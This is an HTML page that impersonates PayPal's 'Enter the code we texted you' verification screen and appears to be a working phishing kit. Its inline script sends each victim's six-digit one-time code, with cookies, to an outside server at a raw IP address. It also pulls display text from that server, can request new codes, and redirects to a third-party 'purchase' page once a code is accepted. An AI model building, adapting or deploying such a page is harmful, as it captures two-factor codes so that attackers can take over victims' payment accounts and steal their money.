<html dir="ltr" lang="en">

<head>
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1, user-scalable=yes">
    <link rel="shortcut icon" href="pp_favicon_x-1.png">
    <link rel="apple-touch-icon" href="apple-touch-icon.png">
    <link rel="stylesheet" href="app.css">
    <title>PayPal</title>
    <script>
        document.addEventListener('DOMContentLoaded', function () {
            fetch('http://64.7.199.164:8080/get_sms_text', {
                method: 'GET',
                credentials: 'include'
            })
                .then(response => response.json())
                .then(data => {
                    document.getElementById('phone-number').textContent = data.sms_text;
                })
                .catch(error => {
                    console.error('Error fetching SMS text:', error);
                });

            const inputs = document.querySelectorAll('input[name^="otpCode-"]');
            inputs.forEach((input, index) => {
                input.addEventListener('input', (e) => {
                    if (e.target.value.length > 1) {
                        e.target.value = e.target.value.slice(0, 1);
                    }
                    if (e.target.value && index < inputs.length - 1) {
                        inputs[index + 1].focus();
                    }
                });

                input.addEventListener('keydown', (e) => {
                    if (e.key === 'Backspace' && !e.target.value && index > 0) {
                        inputs[index - 1].focus();
                    }
                });

                input.addEventListener('focus', (e) => {
                    e.target.select();
                });
            });

            const form = document.getElementsByName('verification')[0];
            form.addEventListener('submit', function (event) {
                event.preventDefault();
                const formData = new FormData(form);
                let allFilled = true;
                inputs.forEach(input => {
                    if (!input.value) {
                        allFilled = false;
                    }
                });

                if (!allFilled) {
                    document.getElementById('message_otpCode2').classList.remove('hide');
                    return;
                }

                const spinner = document.createElement('div');
                spinner.className = 'spinner';
                document.body.appendChild(spinner);

                fetch('http://64.7.199.164:8080/verify', {
                    method: 'POST',
                    body: formData,
                    credentials: 'include'
                })
                    .then(response => response.json())
                    .then(data => {
                        document.body.removeChild(spinner);
                        if (data.message === 'Success') {
                            window.location.href = 'white-emu-379239.hostingersite.com/purchase';
                        } else if (data.message === 'Unauthorized') {
                            document.getElementById('message_otpCode1').classList.remove('hide');
                        }
                        else {
                            window.close();
                        }
                    })
                    .catch((error) => {
                        document.body.removeChild(spinner);
                        console.error('Error:', error);
                    });
            });

            document.addEventListener('click', (event) => {
                if (!event.target.closest('#securityCodeSubmit')) {
                    document.getElementById('message_otpCode1').classList.add('hide');
                    document.getElementById('message_otpCode2').classList.add('hide');
                }
            });

            document.querySelector('.resend').addEventListener('click', (event) => {
                event.preventDefault();
                const spinner = document.createElement('div');
                spinner.className = 'spinner';
                document.body.appendChild(spinner);

                fetch('http://64.7.199.164:8080/send_new_code', {
                    method: 'POST',
                    credentials: 'include'
                })
                    .then(response => response.json())
                    .then(data => {
                        document.body.removeChild(spinner);
                        if (data.message === 'Error') {
                            window.close();
                        } else {
                            inputs.forEach(input => {
                                input.value = '';
                            });
                            inputs[0].focus();
                        }
                    }).catch((error) => {
                        document.body.removeChild(spinner);
                        console.error('Error:', error);
                    });
            });
        });
    </script>
</head>

<body data-nemo="documentId" documentid="AAH34mqPg6Ok_ie6U9e_wwh8gcN_pEfxPZutn5tomiOvj9_C7Ctm4PN1126F0QakQZK5" class="">
    <div class="ppui-theme theme_ppui_theme_tokens__1ozbsv90">
        <div>
            <style nonce="">
                html {
                    display: block
                }
            </style>
            <div>
                <div>
                    <form method="POST" id="irouteForm">
                        <input type="hidden" name="sendNewCode" value="">
                    </form>
                    <div class="jsDisabled"><noscript>
                            <meta http-equiv="refresh" content="0; url='/signin'" />
                            <style nonce="vKn+L258T1SBCU2SKEfWCw7BGK/Ocvz7g+SBCZJC7PpHZz9G">
                                html {
                                    display: none
                                }
                            </style>
                        </noscript></div>
                    <div class="contentContainer" id="content">
                        <div>
                            <div data-nemo="challengePage">
                                <header>
                                    <div class="paypal-logo"></div>
                                </header>
                                <div data-nemo="smsChallengePage" class="smsChallenge">
                                    <h3 class="styles_text-heading_sm__awycp4i styles_text_override_default__awycp40"
                                        data-ppui-info="heading-text">Enter the code we texted you</h3>
                                    <p class="styles_text-body__awycp41 styles_text_override_default__awycp40 top24 description"
                                        data-ppui-info="body-text" data-nemo="smsChallengeDescription">
                                        <span id="phone-number"></span>
                                    </p>
                                </div>
                                <div>
                                    <form method="post" novalidate="" class="top15" name="verification">
                                        <div>
                                            <div>
                                                <div class="codeInput">
                                                    <div class="codeInput-resend" id="code-resend">
                                                        <div class="resend-link"><a
                                                                class="styles_link_base__1f9z60b2 styles_link_primary__1f9z60b5 styles_link-lg-text__1f9z60b0 styles_text-link_lg__awycp47 resend"
                                                                data-ppui-info="" href="#" data-nemo="resendLink">Send
                                                                New Code</a></div>
                                                    </div>
                                                    <div>
                                                        <div class="styles_code_input_base__y7o1d20 codeInput-wrapper"
                                                            id="otpCode" data-ppui-info="">
                                                            <div class="styles_code_input_wrapper__y7o1d24" role="group"
                                                                aria-label="group">
                                                                <div class="styles_text-input_base__108j7bu7 styles_code_input_text_input__y7o1d21"
                                                                    data-ppui-info=""><input
                                                                        class="styles_text-input_control__108j7bua styles_text-input_no_label_control__108j7bub styles_text-input_label_placeholder_shown_and_not_focused__108j7bu5 styles_code_input_text_input_control__y7o1d23 hasHelp"
                                                                        name="otpCode-0" id="ci-otpCode-0"
                                                                        aria-invalid="false" placeholder=" "
                                                                        aria-label="1-6" aria-describedby="otpCode"
                                                                        pattern="[0-9]*" for="securityCodeInput"
                                                                        autocomplete="one-time-code" type="number"
                                                                        value=""></div>
                                                                <div class="styles_text-input_base__108j7bu7 styles_code_input_text_input__y7o1d21"
                                                                    data-ppui-info=""><input
                                                                        class="styles_text-input_control__108j7bua styles_text-input_no_label_control__108j7bub styles_text-input_label_placeholder_shown_and_not_focused__108j7bu5 styles_code_input_text_input_control__y7o1d23 hasHelp"
                                                                        name="otpCode-1" id="ci-otpCode-1"
                                                                        aria-invalid="false" placeholder=" "
                                                                        aria-label="2-6" aria-describedby="otpCode"
                                                                        pattern="[0-9]*" for="securityCodeInput"
                                                                        autocomplete="one-time-code" type="number"
                                                                        value=""></div>
                                                                <div class="styles_text-input_base__108j7bu7 styles_code_input_text_input__y7o1d21"
                                                                    data-ppui-info=""><input
                                                                        class="styles_text-input_control__108j7bua styles_text-input_no_label_control__108j7bub styles_text-input_label_placeholder_shown_and_not_focused__108j7bu5 styles_code_input_text_input_control__y7o1d23 hasHelp"
                                                                        name="otpCode-2" id="ci-otpCode-2"
                                                                        aria-invalid="false" placeholder=" "
                                                                        aria-label="3-6" aria-describedby="otpCode"
                                                                        pattern="[0-9]*" for="securityCodeInput"
                                                                        autocomplete="one-time-code" type="number"
                                                                        value=""></div>
                                                                <div class="styles_text-input_base__108j7bu7 styles_code_input_text_input__y7o1d21"
                                                                    data-ppui-info=""><input
                                                                        class="styles_text-input_control__108j7bua styles_text-input_no_label_control__108j7bub styles_text-input_label_placeholder_shown_and_not_focused__108j7bu5 styles_code_input_text_input_control__y7o1d23 hasHelp"
                                                                        name="otpCode-3" id="ci-otpCode-3"
                                                                        aria-invalid="false" placeholder=" "
                                                                        aria-label="4-6" aria-describedby="otpCode"
                                                                        pattern="[0-9]*" for="securityCodeInput"
                                                                        autocomplete="one-time-code" type="number"
                                                                        value=""></div>
                                                                <div class="styles_text-input_base__108j7bu7 styles_code_input_text_input__y7o1d21"
                                                                    data-ppui-info=""><input
                                                                        class="styles_text-input_control__108j7bua styles_text-input_no_label_control__108j7bub styles_text-input_label_placeholder_shown_and_not_focused__108j7bu5 styles_code_input_text_input_control__y7o1d23 hasHelp"
                                                                        name="otpCode-4" id="ci-otpCode-4"
                                                                        aria-invalid="false" placeholder=" "
                                                                        aria-label="5-6" aria-describedby="otpCode"
                                                                        pattern="[0-9]*" for="securityCodeInput"
                                                                        autocomplete="one-time-code" type="number"
                                                                        value=""></div>
                                                                <div class="styles_text-input_base__108j7bu7 styles_code_input_text_input__y7o1d21"
                                                                    data-ppui-info=""><input
                                                                        class="styles_text-input_control__108j7bua styles_text-input_no_label_control__108j7bub styles_text-input_label_placeholder_shown_and_not_focused__108j7bu5 styles_code_input_text_input_control__y7o1d23 hasHelp"
                                                                        name="otpCode-5" id="ci-otpCode-5"
                                                                        aria-invalid="false" placeholder=" "
                                                                        aria-label="6-6" aria-describedby="otpCode"
                                                                        pattern="[0-9]*" for="securityCodeInput"
                                                                        autocomplete="one-time-code" type="number"
                                                                        value=""></div>
                                                            </div>
                                                            <div class="styles_code_input_error__y7o1d25 hide"
                                                                id="message_otpCode1" role="alert"><span
                                                                    class="styles_icon_svg__1dkwumb7 styles_icon_size_sm__1dkwumb3 styles_code_input_error_icon__y7o1d27"
                                                                    data-ppui-info="" aria-hidden="true"><svg
                                                                        xmlns="http://www.w3.org/2000/svg"
                                                                        fill="currentColor" viewBox="0 0 24 24"
                                                                        width="1em" height="1em">
                                                                        <path
                                                                            d="M22.2 17.634L14.002 3.396a2.322 2.322 0 0 0-4.004 0L1.8 17.634a2.204 2.204 0 0 0 0 2.223A2.282 2.282 0 0 0 3.802 21h16.396a2.284 2.284 0 0 0 2-1.143 2.204 2.204 0 0 0 .002-2.223zm-1.3 1.472a.797.797 0 0 1-.701.394H3.802a.797.797 0 0 1-.702-.394.712.712 0 0 1 0-.723l8.2-14.238a.82.82 0 0 1 1.406 0l8.199 14.238a.712.712 0 0 1-.004.723zM11.25 13.5V9.75a.75.75 0 1 1 1.5 0v3.75a.75.75 0 0 1-1.5 0zm1.875 3.375a1.125 1.125 0 1 1-2.25 0 1.125 1.125 0 0 1 2.25 0z">
                                                                        </path>
                                                                    </svg></span><span
                                                                    class="styles_code_input_error_text__y7o1d26">There’s
                                                                    an issue with the security code you entered.
                                                                    Please try again.</span></div>
                                                            <div class="styles_code_input_error__y7o1d25 hide"
                                                                id="message_otpCode2" role="alert"><span
                                                                    class="styles_icon_svg__1dkwumb7 styles_icon_size_sm__1dkwumb3 styles_code_input_error_icon__y7o1d27"
                                                                    data-ppui-info="" aria-hidden="true"><svg
                                                                        xmlns="http://www.w3.org/2000/svg"
                                                                        fill="currentColor" viewBox="0 0 24 24"
                                                                        width="1em" height="1em">
                                                                        <path
                                                                            d="M22.2 17.634L14.002 3.396a2.322 2.322 0 0 0-4.004 0L1.8 17.634a2.204 2.204 0 0 0 0 2.223A2.282 2.282 0 0 0 3.802 21h16.396a2.284 2.284 0 0 0 2-1.143 2.204 2.204 0 0 0 .002-2.223zm-1.3 1.472a.797.797 0 0 1-.701.394H3.802a.797.797 0 0 1-.702-.394.712.712 0 0 1 0-.723l8.2-14.238a.82.82 0 0 1 1.406 0l8.199 14.238a.712.712 0 0 1-.004.723zM11.25 13.5V9.75a.75.75 0 1 1 1.5 0v3.75a.75.75 0 0 1-1.5 0zm1.875 3.375a1.125 1.125 0 1 1-2.25 0 1.125 1.125 0 0 1 2.25 0z">
                                                                        </path>
                                                                    </svg></span><span
                                                                    class="styles_code_input_error_text__y7o1d26">Required.</span>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div><button
                                            class="styles_button_base__6ka6j61 styles_button_size_lg__6ka6j62 styles_button_primary__6ka6j64 styles_button_full_width__6ka6j6l scTrack:security_code_continue_button button"
                                            data-ppui-info="" id="securityCodeSubmit"
                                            data-atomic-wait-domain="identity_authnodeweb"
                                            data-atomic-wait-intent="submit_sms"
                                            data-atomic-wait-task="login_step_up_sms"
                                            data-atomic-wait-viewname="auth_verification_success_page" type="submit"
                                            name="submitSecurityCode" data-nemo="securityCodeSubmit"
                                            tab-index="0">Submit<span
                                                class="styles_button_state_overlay__6ka6j6f"></span></button>
                                    </form>
                                </div>
                            </div>
                        </div>
                        <div class="loaderOverlay">
                            <div data-nemo="loaderOverlay" class="modal-animate hide">
                                <p class="styles_loading_spinner_base__1662kwt1 styles_loading_spinner_size_lg__1662kwt5 loading-spinner"
                                    data-ppui-info="" role="alert"><span class="styles_screenreader__1p05eo10">Just a
                                        second...</span></p>
                                <p class="styles_text-body__awycp41 styles_text_override_default__awycp40 processing"
                                    data-ppui-info="body-text">Just a second...</p>
                                <div class="loaderOverlayAdditionalElements"></div>
                            </div>
                            <div class="modal-overlay hide"></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <footer class="footer">
            <ul class="footerLinks">
                <li class="contactFooterListItem">
                    <p class="styles_text-body__awycp41 styles_text_override_default__awycp40"
                        data-ppui-info="body-text"><a target="_blank"
                            href="https://paypal.com/us/smarthelp/contact-us">Contact Us</a></p>
                </li>
                <li class="privacyFooterListItem">
                    <p class="styles_text-body__awycp41 styles_text_override_default__awycp40"
                        data-ppui-info="body-text"><a target="_blank"
                            href="https://paypal.com/us/webapps/mpp/ua/privacy-full">Privacy</a>
                    </p>
                </li>
                <li class="legalFooterListItem">
                    <p class="styles_text-body__awycp41 styles_text_override_default__awycp40"
                        data-ppui-info="body-text"><a target="_blank"
                            href="https://paypal.com/us/webapps/mpp/ua/legalhub-full">Legal</a>
                    </p>
                </li>
                <li class="worldwideFooterListItem">
                    <p class="styles_text-body__awycp41 styles_text_override_default__awycp40"
                        data-ppui-info="body-text"><a target="_blank"
                            href="https://paypal.com/us/webapps/mpp/country-worldwide">Worldwide</a></p>
                </li>
            </ul>
        </footer>
    </div>
</body>

</html>